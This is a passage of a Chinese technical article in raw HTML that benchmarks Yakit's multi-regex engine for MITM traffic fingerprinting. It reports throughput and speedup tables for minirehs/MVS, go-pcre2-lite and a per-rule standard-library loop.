[]"><span textstyle="" style="letter-spacing: 1px;">rememberMe=</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 标注 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">组件-Shiro</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">、出现 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">swagger-ui.html标注 </span></span></code><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">组件-Swagger指纹</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">、匹配 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">(?i)Druid</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 标注 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">组件-Druid</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">。</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">每一条流量都需经过整批规则匹配</span></span></strong><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">因此该路径的吞吐直接决定 MITM 启用规则后的处理能力。以下从复杂度、真实场景、引擎本身三个维度给出实测结果。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4.1 复杂度：加速比随规则数增长（N=50 时 11.6× → N=1000 时 83.6×）</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;text-align: left;"><span mpa-font-style="mrecg5it16f4" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">固定 ~1MB 语料，仅改变正则条数 N。</span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">minirehs</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 采用&#34;一次扫描&#34;，吞吐</span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">基本与 N 无关</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（597→232 MB/s，缓降源于候选管理开销）；逐条匹配的 StdlibLoop 随 N </span></span><strong style="font-size: 15px;font-weight: bold;"><span leaf="" style="font-size: 15px;font-weight: bold;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">线性劣化</span></span></strong></span><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecg5itbrw"><span leaf="">（52→2.8 MB/s）；二者比值即加速比，随 N 单调放大。</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 0px;" nodeleaf="" data-mpa-action-id="mrejww8h1e2a" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3954134815844336" data-s="300,640" data-type="png" data-w="2878" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046336" src="https://wechat2rss.xlab.app/img-proxy/?k=f8f74bac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72Gl4ib5UW5CwGjoTbXzJ4CrfCwkiaYZ8Y2TJfu5bvPzG14OlLhNkS3micgCFuP0F250XTed6M8ZKiaUMNibfFtgZZudUGEaIIXYvwV0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;line-height: 1em;"><span leaf="" mpa-font-style="mrejy8o9n8d" style="font-size: 13px;" data-mpa-action-id="mrejy8op726" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(255, 218, 169);font-weight: bold;">图一</span></span></p><div><div><div><p><table style="border: none;border-collapse: collapse;min-width: 100px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">N</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Engine 吞吐</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">StdlibLoop 吞吐</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">加速比</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">50</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">597.40 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">51.53 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">11.6×</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">100</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">511.08 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">26.25 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">19.5×</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">300</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">411.14 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">9.20 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">44.7×</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">500</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">327.55 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">5.56 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">58.9×</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1000</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">232.42 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.78 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">83.6×</span></p></td></tr></tbody></table></p></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mrechm8yln" style="font-size: 15px;" data-mpa-action-id="mrechm9ce9h" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">适用范围：指纹识别、扫描规则、IOC 匹配等字面量丰富、命中稀疏的场景，规则数越大收益越显著。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf="">4.2 真实 MITM 场景：0.19 → 6.10 MB/s（约 32×）</span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="font-size: 15px;letter-spacing: 1px;" mpa-font-style="mreci4zj17n4"><span leaf="">本组为最接近 Yakit 实际的场景：87 条真实规则、~5MB 真实流量、同一 </span></span><span mpa-font-style="mreci4zj1e0m" style="font-size: 15px;" data-mpa-action-id="mreepggf136i" data-pm-slice="0 0 []"><code><span style="letter-spacing: 1px;font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mreepgfwq3g"><span leaf="">Scan</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">API 端到端。以现状 StdlibLoop（0.19 MB/s）为 1× 基线：</span></span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 0px;" nodeleaf="" data-mpa-action-id="mrejyuyw4sj" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5583905789990187" data-s="300,640" data-type="png" data-w="2038" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;" type="block" data-imgfileid="100046337" src="https://wechat2rss.xlab.app/img-proxy/?k=c5c29dc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72ELDtnkKFYLgU5HtJraMFkJbDe94T1aQ61cpibBR7KaBfiaSsOga1Nq8PXYFDSgThKoKQaSib0vrA40ibRIBzcmdG8Haf3iau9ac7hY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;line-height: 1em;"><span leaf="" mpa-font-style="mrejzce11929" style="font-size: 13px;" data-mpa-action-id="mrejzcehv63" data-pm-slice="0 0 []"><span textstyle="" style="color: rgb(255, 218, 169);font-weight: bold;">图二</span></span></p><div><div><div><p><table style="border:none;border-collapse:collapse;min-width:231px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">方案</span></p></td><td data-colwidth="131" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">吞吐</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">相对 StdlibLoop</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">allocs/op</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">语义</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">StdlibLoop（现状：逐条全量）</span></p></td><td data-colwidth="131" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">0.19 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1.0×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2687</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">精确偏移</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Engine（纯 Go 字面量预过滤）</span></p></td><td data-colwidth="131" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">0.47 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.5×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">4668</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">精确偏移</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">MVS 定位档</span></p></td><td data-colwidth="131" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2.66 MB/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">14.0×</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">357</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">精确偏移</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">MVS 存在性档</span></span></strong></p></td><td data-colwidth="131" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">6.10 MB/s</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">32.1×</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">545</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">存在性</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">MVS 存在性（纯 RE2 子集）</span></span></strong></p></td><td data-colwidth="131" style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">7.18 MB/s</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">37.8×</span></span></strong></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">423</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">存在性</span></p></td></tr></tbody></table></p></div></div></div><blockquote><p style="text-align: left;margin-bottom: 8px;"><span leaf="">口径说明：MVS 各档来自 </span><code><span leaf="" mpa-font-style="mrekawkf12m2" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mrekawkyvx7" data-pm-slice="0 0 []">BenchmarkMVSExistence</span></code><span leaf="">（87 条），Engine/StdlibLoop 来自 </span><code><span leaf="" mpa-font-style="mrekaz191yat" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mrekaz1r1eyk" data-pm-slice="0 0 []">BenchmarkMITMRealTraffic</span></code><span leaf="">（RE2 可编译子集），两个基准共用同一 0.17~0.19 MB/s 的 StdlibLoop 固定参照。</span></p><p style="text-align: left;margin-bottom: 8px;"><strong><span leaf=""><span textstyle="" style="color: rgb(255, 185, 149);">存在性档不给精确偏移</span></span></strong><span leaf="">（</span><code><span leaf="" mpa-font-style="mrekkq4cvxc" style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-mpa-action-id="mrekkq4wb2s" data-pm-slice="0 0 []">From/To=-1</span></code><span leaf="">），契合 MITM 打标&#34;只要哪些规则命中&#34;的场景；需要替换/抽取的精确位置时用定位档。</span></p></blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mrecioc91au0"><span leaf="">折算为可感知延迟：按同一 per-byte 速率，处理一条 1 MB 的响应体（如 JS bundle、JSON 导出），逐条匹配约需</span></span><span mpa-font-style="mrecioc913y" style="letter-spacing: 1px;font-size: 15px;"><strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">5.3 s</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">，</span></span></span><span mpa-font-style="mrecioc913y" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">存在性档降至约</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">0.16 s</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">——这是&#34;MITM 开启全部内置规则后是否卡顿&#34;的直接来源。打标仅判存在性时端到端约</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">32×</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">纯 RE2 子集约</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">38×</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">需要精确偏移的定位档亦达</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">14×</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4.3 引擎层面：单条 1.8×–9.6×，布尔匹配零分配</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="mrecioc91217" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">左图为 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">go-pcre2-lite</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（drop-in 层）相对 </span></span><code style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">dlclark/regexp2</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 的单条加速比（库自带基准，darwin/arm64）：各场景均更快，布尔匹配短串</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">9.6×</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">、</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">100KB</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">9.3×</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">，</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">且布尔匹配路径</span></span><strong style="letter-spacing: 1px;font-size: 15px;"><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">零分配</span></span></strong><span leaf="" style="letter-spacing: 1px;font-size: 15px;"><span textstyle="" style="color: rgb(253, 128, 9);">。</span></span><span leaf=""><span textstyle="" style="letter-spacing: 